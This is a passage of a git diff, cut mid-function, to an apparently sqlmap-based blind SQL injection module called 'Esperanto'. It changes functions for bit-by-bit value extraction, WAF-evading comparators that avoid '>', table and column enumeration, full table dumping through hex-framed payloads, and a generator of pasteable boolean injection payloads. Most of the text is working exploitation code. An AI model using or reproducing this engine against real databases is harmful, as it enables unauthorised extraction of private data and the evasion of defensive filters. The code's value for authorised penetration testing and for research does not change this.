maxlen) - while hi < maxlen and ask("%s>%d" % (L, hi)): - lo, hi = hi + 1, min(hi * 2, maxlen) - while lo < hi: - mid = (lo + hi) // 2 - lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid) - length = lo - - def read(pos): - mode = strategy.compare_mode - if mode == "code": - code = strategy.renderCode(expr, pos) - top = 0x10FFFF - for cap in (127, 255, 0xFFFF, 0x10FFFF): - if not ask("%s>%d" % (code, cap)): - top = cap - break - a, b = 0, top - while a < b: - m = (a + b) // 2 - a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m) - return _unichr(a) - if mode in ("collation", "ordinal"): - cs = _PRINTABLE_SORTED - a, b = 0, len(cs) - 1 - while a < b: - m = (a + b) // 2 - a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m) - return cs[a] - for ch in _FREQ_ORDER: # equality scan - if ask(strategy.renderCharCmp(expr, pos, ch, "=")): - return ch - return _REPL - - return "".join(read(i) for i in range(1, length + 1)) + Proof that the strategy is a sufficient hand-off: it reproduces char-by-char + extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's + `bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders + through strategy.renderGt (the discovered comparator), so it survives a WAF that + strips '>' exactly as the engine does, and length is measured via the length fn OR, + when there is none, derived from the substring's end. + + It covers the char-comparison modes (code / collation / ordinal / equality) with an + ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered + comparator) are NOT driven by this reference - it raises rather than silently + emitting an operator the dialect declared unusable or returning wrong data. + + Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string: + an undecided host observation degrades to a FAILED result (never a manufactured bit), + a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an + UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity + FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof.""" + HUGE = 1 << 62 + + def ask(cond): + # STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything + # else (None from a transport/undecided oracle) is NOT coerced to False. + r = oracle(cond) + if r is True or r is False: + return r + raise OracleUndecided("host oracle undecided: %s" % cond) + + if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None): + raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference") + if strategy.comparator == "membership": + raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)") + + def _run(): + if strategy.length is not None: + L = strategy.renderLength(expr) + if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative + is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice) + return ExtractResult(None, is_null=is_null, complete=is_null) + if maxlen <= 0: # non-empty but capped to nothing + return ExtractResult("", complete=False, truncated=True) + if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string + return ExtractResult("", complete=True) + lo, hi = 1, min(8, maxlen) + while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)): + lo, hi = hi + 1, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi) // 2 + lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid) + length = lo + truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap + # FINAL EQUALITY (as the native integer reader does): the comparator is proven only on + # literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n) + # converges off-by-one. Confirm the length directly, else fail closed. + if not truncated and not ask("(%s)=%d" % (L, length)): + raise OracleUndecided("host length failed final equality") + else: # no length fn: derive from substring end + exists = lambda n: ask(strategy.renderCharExists(expr, n)) + if not exists(1): + is_null = ask(strategy.renderIsNull(expr)) # ask ONCE + return ExtractResult(None, is_null=is_null, complete=is_null) + if maxlen <= 0: # non-empty but capped to nothing + return ExtractResult("", complete=False, truncated=True) + lo, hi = 1, min(8, maxlen) + while hi < maxlen and exists(hi): + lo, hi = hi, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1) + length = lo + truncated = length >= maxlen and exists(maxlen + 1) + + def read(pos): + mode = strategy.compare_mode + if mode == "code": + code = strategy.renderCode(expr, pos) + top = 0x10FFFF + for cap in (127, 255, 0xFFFF, 0x10FFFF): + if not ask(strategy.renderGt(code, cap, HUGE)): + top = cap + break + a, b = 0, top + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m) + # FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code + # fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by- + # one even when the code fn is codepoint-faithful. Confirm directly, else fail. + if not ask("(%s)=%d" % (code, a)): + raise OracleUndecided("host code failed final equality") + return _unichr(a) + if mode in ("collation", "ordinal"): + cs = _PRINTABLE_SORTED + a, b = 0, len(cs) - 1 + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m) + return cs[a] + for ch in _FREQ_ORDER: # equality scan + if ask(strategy.renderCharCmp(expr, pos, ch, "=")): + return ch + return _REPL + + value = "".join(read(i) for i in range(1, length + 1)) + warns = ["contains unresolved char"] if _REPL in value else [] + if strategy.compare_mode == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + # WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point + # semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a + # rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed + # against the source rather than trusted because the code fn is faithful. + needs_verify = not truncated and _REPL not in value + if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))): + warns.append("whole-value verification failed") + return ExtractResult(value, complete=False, truncated=truncated, warnings=warns) + # mirror the native EXACT gate: without a proven byte-exact witness (hex / binary / + # codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to + # collation-dependent plain '=' which cannot certify byte-exactness. + if value and not truncated and _REPL not in value and strategy.exact_witness is None: + warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness") + return ExtractResult(value, complete=not truncated and not _hardWarnings(warns), + truncated=truncated, warnings=warns) + + try: + return _run() + except OracleUndecided: + return ExtractResult(None, complete=False, warnings=["host oracle undecided"]) diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py index 28709458ba7..a295d5f8e55 100644 --- a/extra/esperanto/enumeration.py +++ b/extra/esperanto/enumeration.py @@ -21,6 +21,7 @@ from .wordlist import commonTables _BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away +_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row # pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump) _PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax")) @@ -86,10 +87,11 @@ def bruteColumns(self, table, schema=None, limit=100): continue tries += 1 try: - # probe the column BARE (not quoted): a nonexistent bare column errors, - # whereas a double-quoted unknown is silently taken as a STRING LITERAL - # on SQLite -> would pass every fake name. COUNT-free (WAF may filter it). - if self._exists(qtable, col): + # probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare + # column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would + # pass every fake name), and the alias stops a candidate that is really a + # KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe). + if self._exists(qtable, col, alias="e"): found.append(col) self._emit(col) except OracleUndecided: @@ -102,8 +104,12 @@ def _source(self, kind, schema=None): col, src, filt = self.dialect.catalogEnum[kind] clauses = [filt] if filt else [] if schema is not None and "schema" in self.dialect.catalogEnum: - scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname - clauses.append("%s=%s" % (scol, self.buildLiteral(schema))) + scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1] + # the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate + # table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas) + # so `name=` on sys.tables would match table NAMES - skip it, don't corrupt. + if ssrc == src: + clauses.append("%s=%s" % (scol, self.buildLiteral(schema))) return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "") def enumerateKeyset(self, kind, limit=10, schema=None): @@ -134,12 +140,31 @@ def _keysetWalk(self, col, src, where, limit): try: if not self._ask("%s IS NOT NULL" % expr): break - name = self.extract(expr) + res = self.extractResult(expr) # complete-or-stop: a partial name is a bad keyset bound except OracleUndecided: self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)") break - if not name or name == prev: + if not res.complete: # incomplete (truncated / unresolved / unverified) name is + self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)") + break # an unsafe keyset bound - a soft case/accent warning still passes + name = res.value + if not name: break + if name in names: + # revisiting an already-listed name (not just the immediate predecessor) means the + # paging bound and the recovered spelling disagree - e.g. the keyset compare and + # the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e... + # Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates. + self.dialect.notes.append("enumeration stopped: identifier %r revisited " + "(paging/read-back collation mismatch) - list may be partial" % name) + break + if not res.exact and not self._nonExactNamesNoted: + # the name paged correctly (the walk uses the engine's OWN collation, so a + # case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT + # proven - flag it, since a caller may reuse the name as an exact SQL identifier. + self._nonExactNamesNoted = True + self.dialect.notes.append("enumerated identifiers are case/accent-approximate " + "(no byte-exact primitive) - exact spelling not proven") names.append(name) self._emit(name) # live feedback per discovered name if _REPL in name: @@ -163,9 +188,18 @@ def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None): return "%s>%s" % (expr, bound) if self._comparator == "between" and unit == "int": return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev) + if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung + return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>' if self._inOk and seen: lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen) - return "%s NOT IN (%s)" % (expr, lits) + frag = "%s NOT IN (%s)" % (expr, lits) + # NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a + # rendered-size budget, stop with a PARTIAL result + note rather than emitting an + # ever-larger request (and never let one un-renderable literal poison the walk). + if len(frag) > _MEMBERSHIP_PAGING_BUDGET: + self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)") + return None + return frag return None def hasTable(self, table, schema=None): @@ -188,6 +222,8 @@ def tableSchema(self, table): return None schemacol = ce["schema"][0] namecol, source = ce["table"][0], ce["table"][1] + if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL + return None # sys.schemas) - can't co-query it against sys.tables # prefer a non-system schema (a system table could share the name) excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema", "SYS", "INFORMATION_SCHEMA", "pg_toast") @@ -196,7 +232,9 @@ def tableSchema(self, table): expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail) try: if self._ask("%s IS NOT NULL" % expr): - return self.extract(expr) + res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT + if res.exact and res.value: + return res.value except OracleUndecided: break return None @@ -211,6 +249,13 @@ def quoteIdent(self, name): return name return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1]) + def qualify(self, table, schema=None): + """The quoted, optionally schema-scoped table reference used for a dump - the SAME + expression for count, key discovery, and row retrieval, so a non-default schema can't + make the count query hit a different (unqualified) table than the dump.""" + qt = self.quoteIdent(table) + return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt + def _ensureQuoting(self, table): # discover the identifier-quote style using the (known-present) table: # the wrong quote char makes SELECT ... FROM error -> reject @@ -287,9 +332,9 @@ def _discoverKey(self, table, schema=None): with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal present = self._ask("%s IS NOT NULL" % keyexpr) if present: - name = self.extract(keyexpr) - if name: - return name + res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value + if res.exact and res.value: # (a case-ambiguous name could mis-target) + return res.value return None def columnType(self, expr): @@ -312,17 +357,43 @@ def columnType(self, expr): return "unknown" def _classifyUnit(self, keyexpr, qtable): - # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque - # text (extract + literal bound) + # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text + # (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or + # decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5 + # both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort: + # - strict engines: `text = ` ERRORS -> text (probe phase reads False) + # - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text + # - a genuine integer N round-trips `expr = N` -> int + # all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'. q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable) - if self._comparator == "between": - # numeric range holds only for a number (text sorts outside it in SQL) - if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q): - return "int" - elif self._comparator == "gt": - if self._ask("%s>=0" % q) or self._ask("%s<0" % q): + if self._comparator == "membership": + return "text" # no ordered numeric compare -> literal-bound text + with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False + if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)): + return "text" # not comparable as a number (or NULL) + try: + n = self.extractInteger(q) # signed, via the discovered comparator + except (OracleUndecided, OverflowError): + return "text" + # 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts + # as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or + # '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts + # with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`). + if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q): return "int" - return "text" # membership/undecided: safe to treat as literal-bound text + return "text" + + def _looksNumeric(self, expr): + # first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter). + # rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't + # refute -> keep the numeric verdict (never break a real int on a substring-less floor). + if self.dialect.substring is None: + return True + try: + one = self._sub(self._resolveText(expr), 1, 1) + return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one) + except OracleUndecided: + return True def _discoverRowid(self, qtable): # find a MIN-aggregatable physical row identifier for the (already-quoted) @@ -344,14 +415,30 @@ def _discoverRowid(self, qtable): return Cap(name, rid, unit=unit) return None - def _walkKey(self, qtable, table, schema): + def _keyIsUnique(self, kexpr, qtable, total=None): + # a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev` + # paging silently DROPS rows: a composite key's first column repeats (skipping the + # shared-value rows), and NULL keys sort outside the walk. Verified against the DATA + # (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total - + # so it holds regardless of how the constraint catalog was joined. + try: + if total is None: + total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable)) + except (OracleUndecided, OverflowError): + return False + return total is not None and distinct is not None and total == distinct + + def _walkKey(self, qtable, table, schema, total=None): # ordering key, best-first: primary/unique key -> physical row-id -> value. # returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset # comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral). key = self._discoverKey(table, schema) if key: kexpr = self.quoteIdent(key) - return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral + if self._keyIsUnique(kexpr, qtable, total): + return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral + self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key) rid = self._discoverRowid(qtable) if rid is not None: boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral @@ -359,23 +446,40 @@ def _walkKey(self, qtable, table, schema): return None, None, "value", self.buildLiteral def _rowPayload(self, cols): - # one hex-framed, NULL-PRESERVING token per column, joined by ','. token - # grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty - # string). the marker is required because COALESCE(col,'') collapses NULL and - # empty - and on Oracle the '' fallback is itself NULL. needs hex framing. + # one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist, + # each token embeds an INDEPENDENT character-length witness and a terminal marker: + # V:; (value) N; (SQL NULL) + # so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a + # token whose decoded char count != the declared source length, or whose ';' is missing). + # Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a + # DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn / + # cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but + # the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row. if not self._ensureHexfn() or not self.dialect.concat: return None, False # can't frame a whole row -> caller scavenges cell-by-cell + self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast) + if not self._rowLenFramed: + self.dialect.notes.append("row framing without a length witness (no length fn/cast) - " + "a capped hex/concat could shorten a cell undetected") parts = [] for c in cols: qc = self.quoteIdent(c) # column names are identifiers, not raw SQL # text-cast before hex so a numeric/date column yields its TEXT form, not # DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001) text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc - marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text)) - parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked)) + hexed = self.dialect.hexfn[1].format(expr=text) + if self._rowLenFramed: + lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text + body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"]) + parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body)) + else: + marked = self.dialect.concat[1].format(a="'V'", b=hexed) + parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked)) + if self._rowLenFramed: + return self._concatMany(parts), True # tokens self-terminate with ';' interleaved = [parts[0]] for p in parts[1:]: - interleaved.append("','") # the ',' row-token delimiter + interleaved.append("','") # the ',' row-token delimiter interleaved.append(p) return self._concatMany(interleaved), True # flat when concat is variadic @@ -393,14 +497,45 @@ def _cellRow(self, qtable, cols, where): return row, True def _splitRow(self, data, ncols): - # returns (row, valid); a malformed token count/marker means invalid, never - # a silently padded/truncated plausible row + # returns (row, valid); a malformed token count/marker/length means invalid, never + # a silently padded/truncated plausible row. + # framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset + # (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so + # use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes). if data is None: return None, False - toks = data.split(",") + # EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now + # the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness + # check below consumes, so decode and integrity never disagree. + enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + if getattr(self, "_rowLenFramed", False): + # V:; / N; -> every token MUST carry its terminal ';' and (for a value) + # decode to EXACTLY the declared source char length; a capped hex/concat fails one. + if not data.endswith(";"): # a truncated final token dropped its terminator + return None, False + toks = data.split(";") + if toks and toks[-1] == "": + toks = toks[:-1] # drop the trailing terminator + if len(toks) != ncols: + return None, False # a truncated final token loses its ';' -> count off + vals = [] + for t in toks: + if t == "N": + vals.append(None) + continue + if not t.startswith("V") or ":" not in t: + return None, False + lenpart, _, hexpart = t[1:].partition(":") + if not lenpart.isdigit(): + return None, False + v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc) + if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source + return None, False + vals.append(v) + return vals, True + toks = data.split(",") # plain grammar (no length witness available) if len(toks) != ncols: return None, False - enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None vals = [] for t in toks: if t == "N": @@ -424,9 +559,7 @@ def dump(self, table, columns=None, schema=None, limit=10): text-cast extraction. Completeness is checked against COUNT(*). Returns {columns, rows, complete, keyed_by}.""" self._ensureQuoting(table) - qtable = self.quoteIdent(table) - if schema is not None: - qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + qtable = self.qualify(table, schema) cols = columns or self.columns(table, schema) if not cols: return None @@ -435,25 +568,28 @@ def dump(self, table, columns=None, schema=None, limit=10): self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table) try: expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) - except OracleUndecided: + except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure expected = None if expected == 0: - return {"columns": cols, "rows": [], "complete": True, "keyed_by": None} - keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema) + return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None} + keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected) rows, ok = [], True def readrow(where): - # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. - # if the framed whole-row read doesn't verify (some engines choke on the big - # nested CONCAT or its verification, e.g. SQL Server), degrade to reading each - # cell on its own rather than dropping the row + # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The + # framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload), + # so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or + # errored framed read degrades to cell-by-cell (which reads each cell at its true length, + # so it cannot be cast-truncated) rather than dropping the row. if framed: try: res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES) if res.complete: - return self._splitRow(res.value, len(cols)) + row, ok2 = self._splitRow(res.value, len(cols)) + if ok2: + return row, ok2 except OracleUndecided: - pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell + pass # framed whole-row read errored -> cell-by-cell return self._cellRow(qtable, cols, where) # a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe @@ -470,8 +606,18 @@ def readrow(where): break where = " WHERE %s" % beyond ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where) - key = self.extractInteger(ke) if unit == "int" else self.extract(ke) - if key is None or key == "" or key == prev: + if unit == "int": + key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows + else: + res = self.extractResult(ke) # never page on a partial/unverified key bound + if res.is_null: # MIN over empty set -> genuinely done + break + if not res.complete: # incomplete key can't be a reliable bound + ok = False + self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table) + break + key = res.value # '' is a VALID (single, unique) key row, not a terminator + if key is None or key == prev: # None = done; == prev = paging stuck (safety) break bound = key if unit == "int" else boundfn(key) row, valid = readrow("%s=%s" % (keyexpr, bound)) @@ -483,8 +629,15 @@ def readrow(where): prev = key keys.append(key) # for order-free NOT IN() paging else: # value keyset (distinct rows only) - ok = False # exact-duplicate rows collapse - self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table) + ok = False + # ACCURATE loss report: a framed page-key is the whole-row tuple, so only + # fully-identical rows collapse; a bare first-column page-key collapses every + # row that merely shares column 1 (much lossier) - say which, don't blur it + # also: MIN() never selects a NULL page-key, so rows with a NULL in the page + # column are unreachable by this walk - call that out too (not just collapse) + loss = "identical rows collapse" if framed else \ + "rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0] + self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss)) pageexpr = payload if framed else self.quoteIdent(cols[0]) # the framed page-key is text; a bare first-column page-key may be numeric, # and a numeric column MUST be read via extractInteger + a numeric bound - a @@ -509,9 +662,14 @@ def readrow(where): pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False) else: # page on the first (text) column, read cells under it - pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) - row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False) - if pv is None or pv == "" or pv == prev or not valid: + kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + if kr.is_null: # MIN over empty set -> done + break + if not kr.complete: # incomplete page bound -> can't page reliably, stop + break + pv = kr.value # '' is a valid first-column value, not a terminator + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) + if pv is None or pv == prev or not valid: break rows.append(row) self._emit(", ".join("NULL" if c is None else c for c in row)) @@ -524,16 +682,102 @@ def readrow(where): # bogus key that overflows extractInteger stops the walk with partial rows self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table) ok = False - # complete only if every row extracted cleanly AND we got them all + # TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly); + # `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can + # cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact + # primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it. complete = ok and expected is not None and len(rows) == expected - return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by} + exact = bool(self._byteFaithful()) + # EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the + # discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN - + # using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is + # NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact. + effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + note = None + if rows and not exact: + note = ("dump %s: values recovered via a collation-dependent comparison " + "(no byte-exact primitive) - case/accents may be inexact" % table) + elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows): + # bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII + # cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact + exact = False + note = ("dump %s: non-ASCII values decoded under an undetermined character set " + "- text may be inexact" % table) + elif exact and self.dialect.textcast and not self._castPreservesAccents(): + # bytes are faithful, but they are the output of a text cast NOT proven to preserve a + # canary accented char -> a narrowing cast may have folded unrepresentable chars to "?" + # at equal length (invisible to the length witness AND to a non-ASCII scan of the + # ALREADY-folded output) -> content is not provably source-exact + exact = False + note = ("dump %s: values extracted through a text cast not proven to preserve accented " + "characters (possible lossy/narrowing cast) - content is not provably " + "source-exact" % table) + if note: + self.dialect.notes.append(note) + return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by} + + @staticmethod + def _hasNonAscii(rows): + return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row + if isinstance(v, type(u""))) + + def _castPreservesAccents(self): + # The framed dump routes every column through the discovered text cast. A NARROWING cast + # (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute -> + # "?") WITHOUT changing the character count, so neither the length witness nor the hex + # decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the + # cast preserves a canary accented char (built server-side from its code point, so no raw + # byte crosses the transport): if CAST(canary)=canary holds, representable accents survive; + # if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side + # equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached; + # conservative (False) when a cast is applied but the canary can't be built/decided. + if self._castPreserves is None: + if not self.dialect.textcast: + self._castPreserves = True # no cast applied -> nothing to fold + elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"): + # the cast targets the (Unicode) connection/DB charset, which represents EVERY code + # point -> no source char can fold. This is a PROOF (not a per-value guess): a + # utf-8/16 target cannot substitute an unrepresentable char. + self._castPreserves = True + else: + # an unproven cast must NOT certify source identity: default False, promote only on + # a successful preservation probe. The canary needs a TRUE-codepoint constructor - a + # byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it + # cannot probe a fold; without one the cast stays unproven (conservatively inexact). + self._castPreserves = False + cf = self._codeCharTmpl() + if cf and self.dialect.length: + euro = cf.format(code=0x20AC) + ch = cf.format(code=0xE9) # "e"-acute + try: + with self._probePhase(): + if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint + self._castPreserves = self._ask( + "(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch)) + except OracleUndecided: + pass + return self._castPreserves def poc(self, expr, position=1, gt=64): """Emit a clean, pasteable boolean payload for ONE probe (the exploitation primitive), so a tester can drop it into Burp without re-running discovery.""" one = self._sub(expr, position, 1) if self.dialect.compare == "code" and self.dialect.charcode: - return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt) + # numeric code comparison -> render through the DISCOVERED comparator, so the PoC + # works on the very target where '>' was blocked (BETWEEN / operator-free rung) + code = self.dialect.charcode[1].format(expr=one) + if self._comparator == "gt": + return "%s>%d" % (code, gt) + if self._comparator == "between": + return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62) + if self._cmpTemplate is not None: + return self._cmpTemplate.format(expr=code, n=gt) + raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form") + # hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was + # blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes + # -> refuse rather than emit a predicate the target already rejected. + if self._comparator != "gt": + raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no 